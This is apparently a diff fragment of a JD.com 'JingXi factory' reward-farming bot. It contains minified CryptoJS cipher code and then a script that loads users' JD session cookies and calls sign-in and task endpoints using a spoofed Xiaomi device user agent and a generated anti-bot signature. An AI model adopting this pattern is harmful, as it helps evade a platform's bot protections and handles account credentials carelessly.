805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); - -const $ = new Env('京喜工厂红包'); -const JD_API_HOST = 'https://m.jingxi.com'; -const helpAu = false; //帮作者助力 免费拿活动 -const notify = $.isNode() ? require('./sendNotify') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -let tuanActiveId = ``; -const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; -let cookiesArr = [], cookie = '', message = '', allMessage = ''; -const inviteCodes = []; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -$.tuanIds = []; -$.appId = 10001; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - //await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - $.ele = 0; - $.pickEle = 0; - $.pickFriendEle = 0; - $.friendList = []; - $.canHelpFlag = true;//能否助力朋友(招工) - $.tuanNum = 0;//成团人数 - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdDreamFactory() - } - } - - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: jxOpenUrl }) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdDreamFactory() { - try { - await dotask('query?','signhb_source') - await dotask('dotask?task=1','signhb_source,task') - await dotask('dotask?task=2','signhb_source,task') - await dotask('dotask?task=3','signhb_source,task') - } catch (e) { - $.logErr(e) - } -} - -function sign(task,stk) { - var d = new Date(); - var time = d.getTime(); - return new Promise((resolve) => { - $.get(taskurl(stk), async (err, resp, data) => { - try { - //console.log(data) - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - if(data.data.signStatus===0){ - console.log(`签到成功,获得${data.data.pingoujin}金币,已签到${data.data.signDays}天`) - $.coins += parseInt(data.data.pingoujin) - }else{ - console.log(`今日已签到`) - } - }else{ - console.log(`签到失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function dotask(task,stk) { - var d = new Date(); - var time = d.getTime(); - return new Promise((resolve) => { - $.get(taskurl(task,stk), async (err, resp, data) => { - try { - console.log(data) - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.retCode ===0){ - if(data.data.signStatus===0){ - console.log(`签到成功,获得${data.data.pingoujin}金币,已签到${data.data.signDays}天`) - $.coins += parseInt(data.data.pingoujin) - }else{ - console.log(`今日已签到`) - } - }else{ - console.log(`签到失败,错误信息${data.errMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function sign(stk) { - let url = `${JD_API_HOST}/fanxiantask/signhb/query?signhb_source=1000&smp=&type=1&_ste=1&_=${Date.now() + 2}&sceneval=2&g_login_type=1&` - url += `&h5st=${decrypt(Date.now(), stk, '', url)}` - console.log(url) - if (stk) { - url += `&_stk=${encodeURIComponent(stk)}`; - console.log(url) - } - return { - url, - headers: { - 'Cookie': cookie, - 'Host': 'm.jingxi.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'User-Agent': 'jdpingou;android;4.9.0;11;b02a8673eb8a5742;network/UNKNOWN;model/M2104K10AC;appBuild/16879;partner/xiaomi;;session/7;aid/b02a8673eb8a5742;oaid/1a0ea90d9509fba3;pap/JA2019_3111789;brand/Xiaomi;eu/2603231683637333;fv/5626831653734323;Mozilla/5.0 (Linux; Android 11; M2104K10AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://actst.jingxi.com/', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} -function taskurl(task,stk) { - let url = `${JD_API_HOST}/fanxiantask/signhb/${task}&signhb_source=1000&smp=&type=1&_ste=1&_=${Date.now() + 2}&sceneval=2&g_login_type=1` - url += `&h5st=${decrypt(Date.now(), stk, '', url)}` - console.log(url) - if (stk) { - url += `&_stk=${encodeURIComponent(stk)}`; - console.log(url) - } - return { - url, - headers: { - 'Cookie': cookie, - 'Host': 'm.jingxi.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'User-Agent': 'jdpingou;android;4.9.0;11;b02a8673eb8a5742;network/UNKNOWN;model/M2104K10AC;appBuild/16879;partner/xiaomi;;session/7;aid/b02a8673eb8a5742;oaid/1a0ea90d9509fba3;pap/JA2019_3111789;brand/Xiaomi;eu/2603231683637333;fv/5626831653734323;Mozilla/5.0 (Linux; Android 11; M2104K10AC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://actst.jingxi.com/', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && 